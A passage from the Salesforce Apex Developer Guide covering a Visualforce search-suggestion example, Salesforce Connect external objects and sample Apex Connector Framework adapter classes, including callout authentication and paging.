<apex:panelGroup rendered="{!objectType=='KnowledgeArticleVersion'}">
Title: {!w.SObject['Title']}
</apex:panelGroup>
<apex:panelGroup rendered="{!objectType!='KnowledgeArticleVersion'}">
Name: {!w.SObject['Name']}
</apex:panelGroup>
<hr />
</apex:dataList>
</apex:pageBlockSection>
<apex:pageBlockSection id="noresults" rendered="{!results.size==0}">
No results
</apex:pageBlockSection>
<apex:pageBlockSection rendered="{!LEN(searchText)>0}">
Search text: {!searchText}
</apex:pageBlockSection>
</apex:pageBlock>
</apex:form>
</apex:page>
This code is the custom Visualforce controller for the page:
public class SuggestionDemoController {
public String searchText;
public String language = 'en_US';
public String objectType = 'Account';
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public Integer nbResult = 5;
public Transient Search.SuggestionResults suggestionResults;
public String getSearchText() {
return searchText;
}
public void setSearchText(String s) {
searchText = s;
}
public Integer getNbResult() {
return nbResult;
}
public void setNbResult(Integer n) {
nbResult = n;
}
public String getLanguage() {
return language;
}
public void setLanguage(String language) {
this.language = language;
}
public String getObjectType() {
return objectType;
}
public void setObjectType(String objectType) {
this.objectType = objectType;
}
public List<Search.SuggestionResult> getResults() {
if (suggestionResults == null) {
return new List<Search.SuggestionResult>();
}
return suggestionResults.getSuggestionResults();
}
public Boolean getHasMoreResults() {
if (suggestionResults == null) {
return false;
}
return suggestionResults.hasMoreResults();
}
public PageReference doSuggest() {
nbResult = 5;
suggestAccounts();
return null;
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}
public PageReference doSuggestMore() {
nbResult += 5;
suggestAccounts();
return null;
}
private void suggestAccounts() {
Search.SuggestionOption options = new Search.SuggestionOption();
Search.KnowledgeSuggestionFilter filters = new Search.KnowledgeSuggestionFilter();
if (objectType=='KnowledgeArticleVersion') {
filters.setLanguage(language);
filters.setPublishStatus('Online');
}
options.setFilter(filters);
options.setLimit(nbResult);
suggestionResults = Search.suggest(searchText, objectType, options);
}
}
SEE ALSO:
suggest(searchQuery, sObjectType, suggestions)
Salesforce Connect
Apex code can access external object data via any Salesforce Connect adapter. Use the Apex Connector Framework to develop a custom
adapter for Salesforce Connect. The custom adapter can retrieve data from external systems and synthesize data locally. Salesforce
Connect represents that data in Salesforce external objects, enabling users and the Force.com platform to seamlessly interact with data
that’s stored outside the Salesforce org.
IN THIS SECTION:
Salesforce Connect
Salesforce Connect provides seamless integration of data across system boundaries by letting your users view, search, and modify
data that’s stored outside your Salesforce org. For example, perhaps you have data that’s stored on premises in an enterprise resource
planning (ERP) system. Instead of copying the data into your org, you can use external objects to access the data in real time via web
service callouts.
Apex Considerations for Salesforce Connect External Objects
Apex code can access external object data via any Salesforce Connect adapter, but some requirements and limitations apply.
Writable External Objects
By default, external objects are read only, but you can make them writable. Doing so lets Salesforce users and APIs create, update,
and delete data that’s stored outside the org by interacting with external objects within the org. For example, users can see all the
orders that reside in an SAP system that are associated with an account in Salesforce. Then, without leaving the Salesforce user
interface, they can place a new order or route an existing order. The relevant data is automatically created or updated in the SAP
system.
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Get Started with the Apex Connector Framework
To get started with your first custom adapter for Salesforce Connect, create two Apex classes: one that extends the
DataSource.Connection class, and one that extends the DataSource.Provider class.
Key Concepts About the Apex Connector Framework
The DataSource namespace provides the classes for the Apex Connector Framework. Use the Apex Connector Framework to
develop a custom adapter for Salesforce Connect. Then connect your Salesforce org to any data anywhere via the Salesforce Connect
custom adapter.
Considerations for the Apex Connector Framework
Understand the limits and considerations for creating Salesforce Connect custom adapters with the Apex Connector Framework.
Apex Connector Framework Examples
These examples illustrate how to use the Apex Connector Framework to create custom adapters for Salesforce Connect.
Salesforce Connect
Salesforce Connect provides seamless integration of data across system boundaries by letting your
users view, search, and modify data that’s stored outside your Salesforce org. For example, perhaps
you have data that’s stored on premises in an enterprise resource planning (ERP) system. Instead
of copying the data into your org, you can use external objects to access the data in real time via
web service callouts.
Traditionally, we’ve recommended importing or copying data into your Salesforce org to let your
users access that data. For example, extract, transform, and load (ETL) tools can integrate third-party
systems with Salesforce. However, doing so copies data into your org that you don’t need or that
quickly becomes stale.
In contrast, Salesforce Connect maps Salesforce external objects to data tables in external systems.
Instead of copying the data into your org, Salesforce Connect accesses the data on demand and in
real time. The data is never stale, and we access only what you need. We recommend that you use
Salesforce Connect when:
EDITIONS
Available in: both Salesforce
Classic and Lightning
Experience
Available in: Developer
Edition
Available for an extra cost
in: Enterprise, Performance,
and Unlimited Editions
• You have a large amount of data that you don’t want to copy into your Salesforce org.
• You need small amounts of data at any one time.
• You want real-time access to the latest data.
Even though the data is stored outside your org, Salesforce Connect provides seamless integration with the Force.com platform. External
objects are available to Salesforce tools, such as global search, lookup relationships, record feeds, and the Salesforce1 app. External
objects are also available to Apex, SOSL, SOQL queries, Salesforce APIs, and deployment via the Metadata API, change sets, and packages.
For example, suppose that you store product order information in a back-office ERP system. You want to view those orders as a related
list on each customer record in your Salesforce org. Salesforce Connect enables you to set up a lookup relationship between the customer
object (parent) and the external object (child) for orders. Then you can set up the page layouts for the parent object to include a related
list that displays child records.
Going a step further, you can update the orders directly from the related list on the customer record. By default, external object records
are read only. But you can define the external data source to enable writable external objects.
For information about using Apex DML write operations on external object records, see the Force.com Apex Code Developer's Guide.
Example: This screenshot shows how Salesforce Connect can provide a seamless view of data across system boundaries. A record
detail page for the Business_Partner external object includes two related lists of child objects. The external lookup relationships
and page layouts enable users to view related data from inside and from outside the Salesforce org on a single page.
• Account standard object (1)
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• Sales_Order external object (2)
IN THIS SECTION:
Salesforce Connect Adapters
Salesforce Connect uses a protocol-specific adapter to connect to an external system and access its data. When you define an external
data source in your organization, you specify the adapter in the Type field.
Salesforce Connect Custom Adapter
Connect to any data anywhere for a complete view of your business. Use the Apex Connector Framework to develop a custom
adapter for Salesforce Connect.
Salesforce Connect Adapters
Salesforce Connect uses a protocol-specific adapter to connect to an external system and access
its data. When you define an external data source in your organization, you specify the adapter in
the Type field.
These adapters are available for Salesforce Connect.
EDITIONS
Available in: both Salesforce
Classic and Lightning
Experience
Available in: Developer
Edition
Available for an extra cost
in: Enterprise, Performance,
and Unlimited Editions
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Salesforce
Connect
Adapter
Description
Where to Find Callout Limits
Cross-org
Uses the Force.com REST API to access data that’s stored No callout limits. However, each callout counts toward
in other Salesforce orgs.
the API usage limits of the provider org.
Salesforce Help: API Usage Considerations for Salesforce
Connect—Cross-Org Adapter
Salesforce Limits Quick Reference Guide: API Requests Limits
OData 2.0
OData 4.0
Uses Open Data Protocol to access data that’s stored
outside Salesforce. The external data must be exposed
via OData producers.
Salesforce Help: General Limits for Salesforce
Connect—OData 2.0 and 4.0 Adapters
Custom adapter You use the Apex Connector Framework to develop your Apex Developer Guide: Callout Limits and Limitations
created via Apex own custom adapter when the other available adapters Apex Developer Guide: Execution Governors and Limits
aren’t suitable for your needs.
A custom adapter can obtain data from anywhere. For
example, some data can be retrieved from anywhere in
the Internet via callouts, while other data can be
manipulated or even generated programmatically.
SEE ALSO:
Salesforce Connect Custom Adapter
Salesforce Connect Custom Adapter
Connect to any data anywhere for a complete view of your business. Use the Apex Connector Framework to develop a custom adapter
for Salesforce Connect.
Your users and the Force.com platform interact with the external data via external objects. For each of those interactions, Salesforce
Connect invokes methods in the Apex classes that compose the custom adapter. Salesforce invokes the custom adapter’s Apex code
each time that:
• A user clicks an external object tab for a list view.
• A user views a record detail page of an external object.
• A user views a record detail page of a parent object that displays a related list of child external object records.
• A user performs a Salesforce global search.
• A user creates, edits, or deletes an external object record.
• A user runs a report.
• The preview loads in the report builder.
• An external object is queried via flows, APIs, Apex, SOQL, or SOSL.
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• You validate or sync an external data source.
SEE ALSO:
Salesforce Connect Adapters
Get Started with the Apex Connector Framework
Key Concepts About the Apex Connector Framework
Apex Considerations for Salesforce Connect External Objects
Apex code can access external object data via any Salesforce Connect adapter, but some requirements and limitations apply.
• These features aren’t available for external objects.
– Apex-managed sharing
– Apex triggers
• When developers use Apex to manipulate external object records, asynchronous timing and an active background queue minimize
potential save conflicts. A specialized set of Apex methods and keywords handles potential timing issues with write execution. Apex
also lets you retrieve the results of delete and upsert operations. Use the BackgroundOperation object to monitor job progress for
write operations via the API or SOQL.
• Database.insertAsync() methods can’t be executed in the context of a portal user, unless the portal user is a member of
a Salesforce community. To add external object records via Apex, use Database.insertImmediate() methods.
• If you use batch Apex with Database.QueryLocator to access external objects via an OData adapter for Salesforce Connect:
– You must enable Request Row Counts on the external data source, and each response from the external system must include
the total row count of the result set.
– We recommend enabling Server Driven Pagination on the external data source and having the external system determine page
sizes and batch boundaries for large result sets. Typically, server-driven paging can adjust batch boundaries to accommodate
changing data sets more effectively than client-driven paging.
When Server Driven Pagination is disabled on the external data source, the OData adapter controls the paging behavior
(client-driven). If external object records are added to the external system while a job runs, other records can be processed twice.
If external object records are deleted from the external system while a job runs, other records can be skipped.
– When Server Driven Pagination is enabled on the external data source, the batch size at runtime is the smaller of the following:
• Batch size specified in the scope parameter of Database.executeBatch. Default is 200 records.
• Page size returned by the external system. We recommend that you set up your external system to return page sizes of 200
or fewer records.
SEE ALSO:
Using Batch Apex
Salesforce Help: Client-driven and Server-driven Paging for Salesforce Connect—OData 2.0 and 4.0 Adapters
Salesforce Help: Define an External Data Source for Salesforce Connect—OData 2.0 or 4.0 Adapter
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Writable External Objects
By default, external objects are read only, but you can make them writable. Doing so lets Salesforce users and APIs create, update, and
delete data that’s stored outside the org by interacting with external objects within the org. For example, users can see all the orders
that reside in an SAP system that are associated with an account in Salesforce. Then, without leaving the Salesforce user interface, they
can place a new order or route an existing order. The relevant data is automatically created or updated in the SAP system.
Access to external data depends on the connections between Salesforce and the external systems that store the data. Network latency
and the availability of the external systems can introduce timing issues with Apex write or delete operations on external objects.
Because of the complexity of these connections, Apex can’t execute standard insert(), update(), or create() operations
on external objects. Instead, Apex provides a specialized set of database methods and keywords to work around potential issues with
write execution. DML insert, update, create, and delete operations on external objects are either asynchronous or executed when specific
criteria are met.
This example uses the Database.insertAsync() method to insert a new order into a database table asynchronously. It returns
a SaveResult object that contains a unique identifier for the insert job.
public void createOrder () {
SalesOrder__x order = new SalesOrder__x ();
Database.SaveResult sr = Database.insertAsync (order);
if (! sr.isSuccess ()) {
String locator = Database.getAsyncLocator ( sr );
completeOrderCreation(locator);
}
}
Note: Writes performed on external objects through the Salesforce user interface or the API are synchronous and work the same
way as for standard and custom objects.
You can perform the following DML operations on external objects, either asynchronously or based on criteria: insert records, update
records, upsert records, or delete records. Use classes in the DataSource namespace to get the unique identifiers for asynchronous
jobs, or to retrieve results lists for upsert, delete, or save operations.
When you initiate an Apex method on an external object, a job is scheduled and placed in the background jobs queue. The
BackgroundOperation object lets you view the job status for write operations via the API or SOQL. Monitor job progress and related
errors in the org, extract statistics, process batch jobs, or see how many errors occur in a specified time period.
For usage information and examples, see Database Namespace on page 1795 and DataSource Namespace on page 1856.
SEE ALSO:
Salesforce Help: Writable External Objects Considerations for Salesforce Connect—All Adapters
Get Started with the Apex Connector Framework
To get started with your first custom adapter for Salesforce Connect, create two Apex classes: one that extends the
DataSource.Connection class, and one that extends the DataSource.Provider class.
Let’s step through the code of a sample custom adapter.
IN THIS SECTION:
1. Create a Sample DataSource.Connection Class
First, create a DataSource.Connection class to enable Salesforce to obtain the external system’s schema and to handle
queries and searches of the external data.
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2. Create a Sample DataSource.Provider Class
Now you need a class that extends and overrides a few methods in DataSource.Provider.
3. Set Up Salesforce Connect to Use Your Custom Adapter
After you create your DataSource.Connection and DataSource.Provider classes, the Salesforce Connect custom
adapter becomes available in Setup.
Create a Sample DataSource.Connection Class
First, create a DataSource.Connection class to enable Salesforce to obtain the external system’s schema and to handle queries
and searches of the external data.
global class SampleDataSourceConnection
extends DataSource.Connection {
global SampleDataSourceConnection(DataSource.ConnectionParams
connectionParams) {
}
// ...
The DataSource.Connection class contains these methods.
• query
• search
• sync
• upsertRows
• deleteRows
sync
The sync() method is invoked when an administrator clicks the Validate and Sync button on the external data source detail page.
It returns information that describes the structural metadata on the external system.
Note: Changing the sync method on the DataSource.Connection class doesn’t automatically resync any external
objects.
// ...
override global List<DataSource.Table> sync() {
List<DataSource.Table> tables =
new List<DataSource.Table>();
List<DataSource.Column> columns;
columns = new List<DataSource.Column>();
columns.add(DataSource.Column.text('Name', 255));
columns.add(DataSource.Column.text('ExternalId', 255));
columns.add(DataSource.Column.url('DisplayUrl'));
tables.add(DataSource.Table.get('Sample', 'Title',
columns));
return tables;
}
// ...
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query
The query method is invoked when a SOQL query is executed on an external object. A SOQL query is automatically generated and
executed when a user opens an external object’s list view or detail page in Salesforce. The DataSource.QueryContext is always
only for a single table.
This sample custom adapter uses a helper method in the DataSource.QueryUtils class to filter and sort the results based on
the WHERE and ORDER BY clauses in the SOQL query.
The DataSource.QueryUtils class and its helper methods can process query results locally within your Salesforce org. This class
is provided for your convenience to simplify the development of your Salesforce Connect custom adapter for initial tests. However, the
DataSource.QueryUtils class and its methods aren’t supported for use in production environments that use callouts to retrieve
data from external systems. Complete the filtering and sorting on the external system before sending the query results to Salesforce.
When possible, use server-driven paging or another technique to have the external system determine the appropriate data subsets
according to the limit and offset clauses in the query.
// ...
override global DataSource.TableResult query(
DataSource.QueryContext context) {
if (context.tableSelection.columnsSelected.size() == 1 &&
context.tableSelection.columnsSelected.get(0).aggregation ==
DataSource.QueryAggregation.COUNT) {
List<Map<String,Object>> rows = getRows(context);
List<Map<String,Object>> response =
DataSource.QueryUtils.filter(context, getRows(context));
List<Map<String, Object>> countResponse =
new List<Map<String, Object>>();
Map<String, Object> countRow =
new Map<String, Object>();
countRow.put(
context.tableSelection.columnsSelected.get(0).columnName,
response.size());
countResponse.add(countRow);
return DataSource.TableResult.get(context,
countResponse);
} else {
List<Map<String,Object>> filteredRows =
DataSource.QueryUtils.filter(context, getRows(context));
List<Map<String,Object>> sortedRows =
DataSource.QueryUtils.sort(context, filteredRows);
List<Map<String,Object>> limitedRows =
DataSource.QueryUtils.applyLimitAndOffset(context,
sortedRows);
return DataSource.TableResult.get(context, limitedRows);
}
}
// ...
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search
The search method is invoked by a SOSL query of an external object or when a user performs a Salesforce global search that also
searches external objects. Because search can be federated over multiple objects, the DataSource.SearchContext can have
multiple tables selected. In this example, however, the custom adapter knows about only one table.
// ...
override global List<DataSource.TableResult> search(
DataSource.SearchContext context) {
List<DataSource.TableResult> results =
new List<DataSource.TableResult>();
for (DataSource.TableSelection tableSelection :
context.tableSelections) {
results.add(DataSource.TableResult.get(tableSelection,
getRows(context)));
}
return results;
}
// ...
The following is the getRows helper method that the search sample calls to get row values from the external system. The getRows
method makes use of other helper methods:
• makeGetCallout makes a callout to the external system.
• foundRow populates a row based on values from the callout result. The foundRow method is used to make any modifications
to the returned field values, such as changing a field name or modifying a field value.
These methods aren’t included in this snippet but are available in the full example included in Connection Class. Typically, the filter from
SearchContext or QueryContext would be used to reduce the result set, but for simplicity this example doesn’t make use of
the context object.
// ...
// Helper method to get record values from the external system for the Sample table.
private List<Map<String, Object>> getRows () {
// Get row field values for the Sample table from the external system via a callout.
HttpResponse response = makeGetCallout();
// Parse the JSON response and populate the rows.
Map<String, Object> m = (Map<String, Object>)JSON.deserializeUntyped(
response.getBody());
Map<String, Object> error = (Map<String, Object>)m.get('error');
if (error != null) {
throwException(string.valueOf(error.get('message')));
}
List<Map<String,Object>> rows = new List<Map<String,Object>>();
List<Object> jsonRows = (List<Object>)m.get('value');
if (jsonRows == null) {
rows.add(foundRow(m));
} else {
for (Object jsonRow : jsonRows) {
Map<String,Object> row = (Map<String,Object>)jsonRow;
rows.add(foundRow(row));
}
}
return rows;
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}
// ...
upsertRows
The upsertRows method is invoked when external object records are created or updated. You can create or update external object
records through the Salesforce user interface or DML. The following example provides a sample implementation for the upsertRows
method. The example uses the passed-in UpsertContext to determine what table was selected and performs the upsert only if
the name of the selected table is Sample. The upsert operation is broken up into either an insert of a new record or an update of an
existing record. These operations are performed in the external system using callouts. An array of DataSource.UpsertResult
is populated from the results obtained from the callout responses. Note that because a callout is made for each row, this example might
hit the Apex callouts limit.
// ...
global override List<DataSource.UpsertResult> upsertRows(DataSource.UpsertContext
context) {
if (context.tableSelected == 'Sample') {
List<DataSource.UpsertResult> results = new List<DataSource.UpsertResult>();
List<Map<String, Object>> rows = context.rows;
for (Map<String, Object> row : rows){
// Make a callout to insert or update records in the external system.
HttpResponse response;
// Determine whether to insert or update a record.
if (row.get('ExternalId') == null){
// Send a POST HTTP request to insert new external record.
// Make an Apex callout and get HttpResponse.
response = makePostCallout(
'{"name":"' + row.get('Name') + '","ExternalId":"' +
row.get('ExternalId') + '"');
}
else {
// Send a PUT HTTP request to update an existing external record.
// Make an Apex callout and get HttpResponse.
response = makePutCallout(
'{"name":"' + row.get('Name') + '","ExternalId":"' +
row.get('ExternalId') + '"',
String.valueOf(row.get('ExternalId')));
}
// Check the returned response.
// Deserialize the response.
Map<String, Object> m = (Map<String, Object>)JSON.deserializeUntyped(
response.getBody());
if (response.getStatusCode() == 200){
results.add(DataSource.UpsertResult.success(
String.valueOf(m.get('id'))));
}
else {
results.add(DataSource.UpsertResult.failure(
String.valueOf(m.get('id')),
'The callout resulted in an error: ' +
response.getStatusCode()));
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}
}
return results;
}
return null;
}
// ...
deleteRows
The deleteRows method is invoked when external object records are deleted. You can delete external object records through the
Salesforce user interface or DML. The following example provides a sample implementation for the deleteRows method. The example
uses the passed-in DeleteContext to determine what table was selected and performs the deletion only if the name of the selected
table is Sample. The deletion is performed in the external system using callouts for each external ID. An array of
DataSource.DeleteResult is populated from the results obtained from the callout responses. Note that because a callout is
made for each ID, this example might hit the Apex callouts limit.
// ...
global override List<DataSource.DeleteResult> deleteRows(DataSource.DeleteContext
context) {
if (context.tableSelected == 'Sample'){
List<DataSource.DeleteResult> results = new List<DataSource.DeleteResult>();
for (String externalId : context.externalIds){
HttpResponse response = makeDeleteCallout(externalId);
if (response.getStatusCode() == 200){
results.add(DataSource.DeleteResult.success(externalId));
}
else {
results.add(DataSource.DeleteResult.failure(externalId,
'Callout delete error:'
+ response.getBody()));
}
}
return results;
}
return null;
}
// ...
SEE ALSO:
Execution Governors and Limits
Connection Class
Filters in the Apex Connector Framework
Create a Sample DataSource.Provider Class
Now you need a class that extends and overrides a few methods in DataSource.Provider.
Your DataSource.Provider class informs Salesforce of the functional and authentication capabilities that are supported by or
required to connect to the external system.
global class SampleDataSourceProvider extends DataSource.Provider {
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If the external system requires authentication, Salesforce can provide the authentication credentials from the external data source
definition or users’ personal settings. For simplicity, however, this example declares that the external system doesn’t require authentication.
To do so, it returns AuthenticationCapability.ANONYMOUS as the sole entry in the list of authentication capabilities.
override global List<DataSource.AuthenticationCapability>
getAuthenticationCapabilities() {
List<DataSource.AuthenticationCapability> capabilities =
new List<DataSource.AuthenticationCapability>();
capabilities.add(
DataSource.AuthenticationCapability.ANONYMOUS);
return capabilities;
}
This example also declares that the external system allows SOQL queries, SOSL queries, Salesforce searches, upserting data, and deleting
data.
• To allow SOQL, the example declares the DataSource.Capability.ROW_QUERY capability.
• To allow SOSL and Salesforce searches, the example declares the DataSource.Capability.SEARCH capability.
• To allow upserting external data, the example declares the DataSource.Capability.ROW_CREATE and
DataSource.Capability.ROW_UPDATE capabilities.
• To allow deleting external data, the example declares the DataSource.Capability.ROW_DELETE capability.
override global List<DataSource.Capability> getCapabilities()
{
List<DataSource.Capability> capabilities = new
List<DataSource.Capability>();
capabilities.add(DataSource.Capability.ROW_QUERY);
capabilities.add(DataSource.Capability.SEARCH);
capabilities.add(DataSource.Capability.ROW_CREATE);
capabilities.add(DataSource.Capability.ROW_UPDATE);
capabilities.add(DataSource.Capability.ROW_DELETE);
return capabilities;
}
Lastly, the example identifies the SampleDataSourceConnection class that obtains the external system’s schema and handles
the queries and searches of the external data.
override global DataSource.Connection getConnection(
DataSource.ConnectionParams connectionParams) {
return new SampleDataSourceConnection(connectionParams);
}
}
SEE ALSO:
Provider Class
Set Up Salesforce Connect to Use Your Custom Adapter
After you create your DataSource.Connection and DataSource.Provider classes, the Salesforce Connect custom
adapter becomes available in Setup.
Complete the tasks that are described in “Set Up Salesforce Connect to Access External Data with a Custom Adapter” in the Salesforce
Help.
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To add write capability for external objects to your adapter:
1. Make the external data source for this adapter writable. See “Define an External Data Source for Salesforce Connect—Custom Adapter”
in the Salesforce Help.
2. Implement the DataSource.Connection.upsertRows() and DataSource.Connection.deleteRows()
methods for the adapter. For details, see Connection Class on page 1879.
Key Concepts About the Apex Connector Framework
The DataSource namespace provides the classes for the Apex Connector Framework. Use the Apex Connector Framework to develop
a custom adapter for Salesforce Connect. Then connect your Salesforce org to any data anywhere via the Salesforce Connect custom
adapter.
We recommend that you learn about some key concepts to help you use the Apex Connector Framework effectively.
IN THIS SECTION:
External IDs for Salesforce Connect External Objects
When you access external data with a custom adapter for Salesforce Connect, the values of the External ID standard field on an
external object come from the DataSource.Column named ExternalId.
Authentication for Salesforce Connect Custom Adapters
Your DataSource.Provider class declares what types of credentials can be used to authenticate to the external system.
Callouts for Salesforce Connect Custom Adapters
Just like any other Apex code, a Salesforce Connect custom adapter can make callouts. If the connection to the external system
requires authentication, incorporate the authentication parameters into the callout.
Paging with the Apex Connector Framework
When displaying a large set of records in the user interface, Salesforce breaks the set into batches and displays one batch. You can
then page through those batches. However, custom adapters for Salesforce Connect don’t automatically support paging of any
kind. To support paging through external object data that’s obtained by a custom adapter, implement server-driven or client-driven
paging.
queryMore with the Apex Connector Framework
Custom adapters for Salesforce Connect don’t automatically support the queryMore method in API queries. However, your
implementation must be able to break up large result sets into batches and iterate over them by using the queryMore method
in the SOAP API. The default batch size is 500 records, but the query developer can adjust that value programmatically in the query
call.
Aggregation for Salesforce Connect Custom Adapters
If you receive a COUNT() query, the selected column has the value QueryAggregation.COUNT in its aggregation
property. The selected column is provided in the columnsSelected property on the tableSelection for the
DataSource.QueryContext.
Filters in the Apex Connector Framework
The DataSource.QueryContext contains one DataSource.TableSelection. The
DataSource.SearchContext can have more than one TableSelection. Each TableSelection has a filter
property that represents the WHERE clause in a SOQL or SOSL query.
External IDs for Salesforce Connect External Objects
When you access external data with a custom adapter for Salesforce Connect, the values of the External ID standard field on an external
object come from the DataSource.Column named ExternalId.
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Each external object has an External ID standard field. Its values uniquely identify each external object record in your org. When
the external object is the parent in an external lookup relationship, the External ID standard field is used to identify the child records.
Important:
• The custom adapter’s Apex code must declare the DataSource.Column named ExternalId and provide its values.
• Don’t use sensitive data as the values of the External ID standard field, because Salesforce sometimes stores those values.
– External lookup relationship fields on child records store and display the External ID values of the parent records.
– For internal use only, Salesforce stores the External ID value of each row that’s retrieved from the external system. This
behavior doesn’t apply to external objects that are associated with high-data-volume external data sources.
Example: This excerpt from a sample DataSource.Connection class shows the DataSource.Column named
ExternalId.
override global List<DataSource.Table> sync() {
List<DataSource.Table> tables =
new List<DataSource.Table>();
List<DataSource.Column> columns;
columns = new List<DataSource.Column>();
columns.add(DataSource.Column.text('title', 255));
columns.add(DataSource.Column.text('description',255));
columns.add(DataSource.Column.text('createdDate',255));
columns.add(DataSource.Column.text('modifiedDate',255));
columns.add(DataSource.Column.url('selfLink'));
columns.add(DataSource.Column.url('DisplayUrl'));
columns.add(DataSource.Column.text('ExternalId',255));
tables.add(DataSource.Table.get('googleDrive','title',
columns));
return tables;
}
SEE ALSO:
Column Class
Authentication for Salesforce Connect Custom Adapters
Your DataSource.Provider class declares what types of credentials can be used to authenticate to the external system.
If your extension of the DataSource.Provider class returns DataSource.AuthenticationCapability values that
indicate support for authentication, the DataSource.Connection class is instantiated with a
DataSource.ConnectionParams instance in the constructor.
The authentication credentials in the DataSource.ConnectionParams instance depend on the Identity Type field of
the external data source definition in Salesforce.
• If Identity Type is set to Named Principal, the credentials come from the external data source definition.
• If Identity Type is set to Per User:
– For queries and searches, the credentials are specific to the current user who invokes the query or search. The credentials come
from the user’s authentication settings for the external system.
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– For administrative connections, such as syncing the external system’s schema, the credentials come from the external data
source definition.
IN THIS SECTION:
OAuth for Salesforce Connect Custom Adapters
If you use OAuth 2.0 to access external data, learn how to avoid access interruptions caused by expired access tokens.
SEE ALSO:
OAuth for Salesforce Connect Custom Adapters
OAuth for Salesforce Connect Custom Adapters
If you use OAuth 2.0 to access external data, learn how to avoid access interruptions caused by expired access tokens.
Some external systems use OAuth access tokens that expire and need to be refreshed. We can automatically refresh access tokens as
needed when:
• The user or external data source has a valid refresh token from a previous OAuth flow.
• The sync, query, or search method in your DataSource.Connection class throws a
DataSource.OAuthTokenExpiredException.
We use the relevant OAuth credentials for the user or external data source to negotiate with the remote service and refresh the token.
The DataSource.Connection class is reconstructed with the new OAuth token in the DataSource.ConnectionParams
that we supply to the constructor. The search or query is then reinvoked.
If the authentication provider doesn’t provide a refresh token, access to the external system is lost when the current access token expires.
If a warning message appears on the external data source detail page, consult your OAuth provider for information about requesting
offline access or a refresh token.
For some authentication providers, requesting offline access is as simple as adding a scope. For example, to request offline access from
a Salesforce authentication provider, add refresh_token to the Default Scopes field on the authentication provider definition
in your Salesforce organization.
For other authentication providers, you must request offline access in the authentication URL as a query parameter. For example, with
Google, append ?access_type=offline to the Authorize Endpoint URL field on the authentication provider definition
in your Salesforce organization. To edit the authorization endpoint, select Open ID Connect in the Provider Type field of the
authentication provider. For details, see “Configure an OpenID Connect Authentication Provider” in the Salesforce Help.
SEE ALSO:
Authentication for Salesforce Connect Custom Adapters
Callouts for Salesforce Connect Custom Adapters
Just like any other Apex code, a Salesforce Connect custom adapter can make callouts. If the connection to the external system requires
authentication, incorporate the authentication parameters into the callout.
Authentication parameters are encapsulated in a ConnectionParams object and provided to your DataSource.Connection
class’s constructor.
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For example, if your connection requires an OAuth access token, use code similar to the following.
public HttpResponse getResponse(String url) {
Http httpProtocol = new Http();
HttpRequest request = new HttpRequest();
request.setEndPoint(url);
request.setMethod('GET');
request.setHeader('Authorization', 'Bearer ' +
this.connectionInfo.oauthToken);
HttpResponse response = httpProtocol.send(request);
return response;
}
If your connection requires basic password authentication, use code similar to the following.
public HttpResponse getResponse(String url) {
Http httpProtocol = new Http();
HttpRequest request = new HttpRequest();
request.setEndPoint(url);
request.setMethod('GET');
string encodedHeaderValue = EncodingUtil.base64Encode(Blob.valueOf(
this.connectioninfo.username + ':' +
this.connectionInfo.password));
request.setHeader('Authorization', 'Basic ' + encodedHeaderValue);
HttpResponse response = httpProtocol.send(request);
return response;
}
Named Credentials as Callout Endpoints for Salesforce Connect Custom Adapters
A Salesforce Connect custom adapter obtains the relevant credentials that are stored in Salesforce whenever they’re needed. However,
your Apex code must apply those credentials to all callouts, except those that specify named credentials as the callout endpoints. A
named credential lets Salesforce handle the authentication logic for you so that your code doesn’t have to.
If all your custom adapter’s callouts use named credentials, you can set the external data source’s Authentication Protocol
field to No Authentication. The named credentials add the appropriate certificates and can add standard authorization headers to the
callouts. You also don’t need to define a remote site for an Apex callout endpoint that’s defined as a named credential.
SEE ALSO:
Named Credentials as Callout Endpoints
Paging with the Apex Connector Framework
When displaying a large set of records in the user interface, Salesforce breaks the set into batches and displays one batch. You can then
page through those batches. However, custom adapters for Salesforce Connect don’t automatically support paging of any kind. To
support paging through external object data that’s obtained by a custom adapter, implement server-driven or client-driven paging.
With server-driven paging, the external system controls the paging and ignores any batch boundaries or page sizes that are specified
in queries. To enable server-driven paging, declare the QUERY_PAGINATION_SERVER_DRIVEN capability in your
DataSource.Provider class. Also, your Apex code must generate a query token and use it to determine and fetch the next batch
of results.
With client-driven paging, you use LIMIT and OFFSET clauses to page through result sets. Factor in the offset and maxResults
properties in the DataSource.QueryContext to determine which rows to return. For example, suppose that the result set has
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20 rows with numeric ExternalID values from 1 to 20. If we ask for an offset of 5 and maxResults of 5, we expect to get
the rows with IDs 6–10. We recommend that you do all filtering in the external system, outside of Apex, using methods that the external
system supports.
SEE ALSO:
QueryContext Class
queryMore with the Apex Connector Framework
Custom adapters for Salesforce Connect don’t automatically support the queryMore method in API queries. However, your
implementation must be able to break up large result sets into batches and iterate over them by using the queryMore method in
the SOAP API. The default batch size is 500 records, but the query developer can adjust that value programmatically in the query call.
To support queryMore, your implementation must indicate whether more data exists than what’s in the current batch. When the
Force.com platform knows that more data exists, your API queries return a QueryResult object that’s similar to the following.
{
"totalSize" => -1,
"done" => false,
"nextRecordsUrl" => "/services/data/v32.0/query/01gxx000000B5OgAAK-2000",
"records" => [
[
0] {
"attributes" => {
"type" => "Sample__x",
"url" =>
"/services/data/v32.0/sobjects/Sample__x/x06xx0000000001AAA"
},
"ExternalId" => "id0"
},
[
1] {
"attributes" => {
"type" => "Sample__x",
"url" =>
"/services/data/v32.0/sobjects/Sample__x/x06xx0000000002AAA"
},
…
}
IN THIS SECTION:
Support queryMore by Using Server-Driven Paging
With server-driven paging, the external system controls the paging and ignores any batch boundaries or page sizes that are specified
in queries. To enable server-driven paging, declare the QUERY_PAGINATION_SERVER_DRIVEN capability in your
DataSource.Provider class.
Support queryMore by Using Client-Driven Paging
With client-driven paging, you use LIMIT and OFFSET clauses to page through result sets.
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Support queryMore by Using Server-Driven Paging
With server-driven paging, the external system controls the paging and ignores any batch boundaries or page sizes that are specified
in queries. To enable server-driven paging, declare the QUERY_PAGINATION_SERVER_DRIVEN capability in your
DataSource.Provider class.
When the returned DataSource.TableResult doesn’t contain the entire result set, the TableResult must provide a
queryMoreToken value. The query token is an arbitrary string that we store temporarily. When we request the next batch of results,
we pass the query token back to your custom adapter in the DataSource.QueryContext. Your Apex code must use that query
token to determine which rows belong to the next batch of results.
When your custom adapter returns the final batch, it must not return a queryMoreToken value in the TableResult.
SEE ALSO:
queryMore with the Apex Connector Framework
Support queryMore by Using Client-Driven Paging
With client-driven paging, you use LIMIT and OFFSET clauses to page through result sets.
If the external system can return the total size of the result set for each query, declare the QUERY_TOTAL_SIZE capability in your
DataSource.Provider class. Make sure that each search or query returns the totalSize value in the
